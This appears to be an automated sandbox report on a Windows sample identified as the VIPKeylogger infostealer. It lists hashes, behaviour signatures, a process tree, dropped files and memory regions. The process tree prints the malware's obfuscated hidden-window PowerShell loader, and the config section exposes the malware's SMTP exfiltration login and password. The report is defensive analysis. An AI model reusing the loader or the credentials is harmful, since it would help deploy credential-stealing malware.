Analysis

  • max time kernel
    145s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-10-2024 14:02

General

  • Target

    Rundholterne89.exe

  • Size

    870KB

  • MD5

    a1e239c4d5116e289ce0597a92844ede

  • SHA1

    4562d452ccc32512291c3165a0b9b3c076b28094

  • SHA256

    1e507febdd48a2bf2429c8011bd5cbc5c7b018207bdaec87665b8b51fa13d904

  • SHA512

    500ddcdc2f1e3ca0da0a43006b99c6e78697433fc0757d25ddff94190dd2d725799faf267efdfacdef758e9024591368454f14025662cc6a1309bce7863494d2

  • SSDEEP

    24576:/75JHVcDo1hTW+VeQ9Ke+alCJmvulW6Nd0vd:jDHVUW/VrKe+m7mwMAd

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.ionos.es
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    pW@4G()=#2

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Blocklisted process makes network request 18 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Rundholterne89.exe
    "C:\Users\Admin\AppData\Local\Temp\Rundholterne89.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3968
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3260
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2612

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199

    Filesize

    854B

    MD5

    e935bc5762068caf3e24a2683b1b8a88

    SHA1

    82b70eb774c0756837fe8d7acbfeec05ecbf5463

    SHA256

    a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d

    SHA512

    bed4f6f5357b37662623f1f8afed1a3ebf3810630b2206a0292052a2e754af9dcfe34ee15c289e3d797a8f33330e47c14cbefbc702f74028557ace29bf855f9e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    1KB

    MD5

    c403847a7e1759d6de99def3e579d03a

    SHA1

    df8b9616fce2b758786a0f28498dc0552b954898

    SHA256

    c69c9183f96bf43cb994e6454be5ff5b2e63b02b99f7defbe18176e8fa77110d

    SHA512

    f79f34aef3c0d27144aa1e6e95e033696a097d7427a455be7503c95df91c602f1e9c04b61d4fa3e36e87a7e5aefd0fe80914a0166781cbcc503c9633f391945e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD

    Filesize

    471B

    MD5

    d27e8f4f186e50ed883dc1676cbb4038

    SHA1

    4dc99e2f5a1b7eafbceb0b837d9030424d67d8a4

    SHA256

    ea5e76383ebf4550a6d4f3e561534cdbda582899df18c32c1ae085e0b1ff9ed8

    SHA512

    3f6c599fdc2eaf4b42b1b594226438cc4d9b3a7846577b16307023c355757b794b1305b260c0d9e0071483e709dc7d5d190ba89ef3808185b4cd2d529c932372

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64

    Filesize

    472B

    MD5

    fff9aba6fe7a03ac24297af4a6ef7600

    SHA1

    7ed4438da3b2bd2080a577c149f0029337d68fe8

    SHA256

    510ed87ce53d8777b77a0de99754d355529f7f2f9e9a05690b927d1ced4dbe92

    SHA512

    86b21267b1379717e414a374f113556c779246026569ab0adbda017d68532a62bd8999e5deb49f059b76c0c10ea15ca40e251f7efc5bdddbac7114ee002342c8

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199

    Filesize

    170B

    MD5

    0617862da103d7d6d9331420105cdb69

    SHA1

    d035931277d2d0e40496acda69b584d965f877c5

    SHA256

    c41c91588ab269c507d23c8a6dbf7e060fc172887707050702901b7aee26cc38

    SHA512

    4857a30ba0a82242f59da21fd22b1b55f452f384a7320d987cb4c0ea7260484d0a748cb0c2bb98ec18d1ab5e1c99ddf7bfb4ca22792d72db1bc9a6032b93d618

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

    Filesize

    410B

    MD5

    96331c468bd6b1b7fe9e8d972c9a0bf8

    SHA1

    e230eebb04dccb366028cbff8ce7df8c203e3821

    SHA256

    d77a65658628b6fc9d4e99bfeb5d3c892c0f83e37d6cdc628b3a8679ea76bc04

    SHA512

    eb8d40e788defcc55cdc302d63cce825972a6a1778935e9316629d95f1f71f98ed75b819f5cfa2cf4a2b556358b3f4fcfb42e45d538d046e9ab7e9e143c20847

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD

    Filesize

    406B

    MD5

    7312e24a52cfc49e78d51926a4aa1b82

    SHA1

    e62e828673c0bf659034290e82bc790a80000a16

    SHA256

    fd1af1b63a6f760dcfdf5a445e333b99d9b8e35e5d7d2514af553d9f6d4a4147

    SHA512

    379e5aa633c6d98eb7aa71a8710f33766463cb785ebcbc6e15c9faa985481446d5dde88c0593d0727ace7528f069ae9bedca1258a97a55189b16a77bb34fc51a

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\4FA45AE1010E09657982D8D28B3BD38E_B60DAD4239F8DBB7FDA230724F9F9DFD

    Filesize

    406B

    MD5

    9247f031a3a69f2e64081c178c96aa48

    SHA1

    0814e34a2e58e09954aa6a7c0d7ccbfad1a1a71d

    SHA256

    bf17f5978ad0367951e80606ec21d25d87be81b1d865d7da2db897f70d9d81aa

    SHA512

    aa42c76a8a25595261ec1759a196ef51361815edadb8657c386592a63362f91a53d8293bfdf2d500a0564e018efff9961da3529781dc3276d1903424f703fa08

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64

    Filesize

    402B

    MD5

    da5a3eb289a81a340aee6fd5563e959d

    SHA1

    feb0d479497ecd3a96d6c9acc440b4693129d39c

    SHA256

    6c0ce5c5b1434e14c0ee13086da6572fcab891c8baca80f19b202874f4685d29

    SHA512

    92b6edb70da1030238fd1c60f0b7ba9578c17e7aa54eba77f48b95403156193de7c3e240148769f62d56f77f594ca93dd727711cf441f781d1c388b24e6dd9de

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_3459237E893F04A4596206DC25825D64

    Filesize

    402B

    MD5

    49546f238a6ad64b3281fa0344a30b57

    SHA1

    1082e1a233f638f56bd905a18007c6e63e82ea0c

    SHA256

    059eee06e6b711b7ca43e898621eef7c70ab16fd4ec7e8898872d8fd194da8f0

    SHA512

    15a6a8d353520706fcfd31a91ad4db204cec8ccc871e88847b0e5c8ec4a07917bb402a641a683175c1b571c60f9ce8c744926b09695dada68fd9eee09cf908c2

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    01404e51f6442f60e478c306b1e6e52e

    SHA1

    37f234ccf5611b8309023410ceb9e76ad81f5678

    SHA256

    d4356dd23aa2e811712132f9718786331661a1bd0d062c49cb76807b9563928b

    SHA512

    94a9d843ae4055e2a9b412f03cba85e2d7b804ec3106f059d14ca50b15ae4acc6cd452f9461c2e21d1632d06848c969732c539aea17869b8b3a2f5ab93b891d7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0oto1fg.15c.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205

    Filesize

    54KB

    MD5

    0d2ce39822e9236a380f4d1d53550e93

    SHA1

    8381b0e62708112dbfbed036650bf0667ec4476b

    SHA256

    ed34db2a55a35c90b524d2448353eb73d28da7d7ff401477165c226ff25de9af

    SHA512

    f365bb861db3fc6d29736b3f8c0377bb4f8318fff94bc96033ae208760082b529b8aea4cf79de9efa3608c79ac91fe57e19f26959831f621bba8816e1013afc3

  • C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Sekundrlitteraturers.Non

    Filesize

    332KB

    MD5

    d3086578d45d821207eac6cbb8e24a2b

    SHA1

    0772cbce5403edae1aab6310b2f58d7f99c726c0

    SHA256

    e856fc4f6b157e7799c1af872064cd1be9f982b1a5d18d7b16e5c3a48e3a1b1a

    SHA512

    7db853becc19b209c0534c8f09635c55dab9bc540bd138054c2e84bbfc396bfa587bd4549a7188824f95271c04894bb7c66795f75267bca16620bc27ed38807d

  • memory/624-40-0x0000000006A40000-0x0000000006A5A000-memory.dmp

    Filesize

    104KB

  • memory/624-85-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-7-0x000000007412E000-0x000000007412F000-memory.dmp

    Filesize

    4KB

  • memory/624-39-0x0000000007540000-0x00000000075D6000-memory.dmp

    Filesize

    600KB

  • memory/624-42-0x0000000007BA0000-0x0000000008144000-memory.dmp

    Filesize

    5.6MB

  • memory/624-8-0x0000000004F70000-0x0000000004FA6000-memory.dmp

    Filesize

    216KB

  • memory/624-44-0x00000000087D0000-0x0000000008E4A000-memory.dmp

    Filesize

    6.5MB

  • memory/624-46-0x00000000705B0000-0x00000000705FC000-memory.dmp

    Filesize

    304KB

  • memory/624-48-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-58-0x00000000079D0000-0x00000000079EE000-memory.dmp

    Filesize

    120KB

  • memory/624-47-0x0000000070CB0000-0x0000000071004000-memory.dmp

    Filesize

    3.3MB

  • memory/624-45-0x0000000007990000-0x00000000079C2000-memory.dmp

    Filesize

    200KB

  • memory/624-60-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-59-0x0000000007A00000-0x0000000007AA3000-memory.dmp

    Filesize

    652KB

  • memory/624-61-0x0000000007B00000-0x0000000007B0A000-memory.dmp

    Filesize

    40KB

  • memory/624-62-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-63-0x0000000007B40000-0x0000000007B6A000-memory.dmp

    Filesize

    168KB

  • memory/624-64-0x0000000007B70000-0x0000000007B94000-memory.dmp

    Filesize

    144KB

  • memory/624-65-0x000000007412E000-0x000000007412F000-memory.dmp

    Filesize

    4KB

  • memory/624-66-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-10-0x0000000005680000-0x0000000005CA8000-memory.dmp

    Filesize

    6.2MB

  • memory/624-9-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-79-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-11-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-12-0x0000000005580000-0x00000000055A2000-memory.dmp

    Filesize

    136KB

  • memory/624-82-0x0000000008E50000-0x000000000CA11000-memory.dmp

    Filesize

    59.8MB

  • memory/624-83-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-41-0x0000000006AA0000-0x0000000006AC2000-memory.dmp

    Filesize

    136KB

  • memory/624-86-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-14-0x0000000005F00000-0x0000000005F66000-memory.dmp

    Filesize

    408KB

  • memory/624-91-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/624-13-0x0000000005E60000-0x0000000005EC6000-memory.dmp

    Filesize

    408KB

  • memory/624-26-0x0000000006590000-0x00000000065DC000-memory.dmp

    Filesize

    304KB

  • memory/624-25-0x0000000006550000-0x000000000656E000-memory.dmp

    Filesize

    120KB

  • memory/624-24-0x0000000005F70000-0x00000000062C4000-memory.dmp

    Filesize

    3.3MB

  • memory/2612-126-0x00000000009F0000-0x0000000001C44000-memory.dmp

    Filesize

    18.3MB

  • memory/2612-139-0x0000000023F80000-0x0000000023F8A000-memory.dmp

    Filesize

    40KB

  • memory/2612-138-0x0000000023FC0000-0x0000000024052000-memory.dmp

    Filesize

    584KB

  • memory/2612-135-0x00000000247E0000-0x0000000024D0C000-memory.dmp

    Filesize

    5.2MB

  • memory/2612-134-0x0000000023890000-0x00000000238E0000-memory.dmp

    Filesize

    320KB

  • memory/2612-133-0x00000000240E0000-0x00000000242A2000-memory.dmp

    Filesize

    1.8MB

  • memory/2612-116-0x00000000009F0000-0x0000000001C44000-memory.dmp

    Filesize

    18.3MB

  • memory/2612-128-0x0000000023450000-0x00000000234EC000-memory.dmp

    Filesize

    624KB

  • memory/2612-127-0x00000000009F0000-0x0000000000A3A000-memory.dmp

    Filesize

    296KB

  • memory/3260-69-0x0000000070CB0000-0x0000000071004000-memory.dmp

    Filesize

    3.3MB

  • memory/3260-38-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/3260-68-0x00000000705B0000-0x00000000705FC000-memory.dmp

    Filesize

    304KB

  • memory/3260-90-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/3260-28-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/3260-81-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/3260-27-0x0000000074120000-0x00000000748D0000-memory.dmp

    Filesize

    7.7MB

  • memory/3968-130-0x0000000000E00000-0x0000000000E4A000-memory.dmp

    Filesize

    296KB

  • memory/3968-129-0x0000000000E00000-0x0000000002054000-memory.dmp

    Filesize

    18.3MB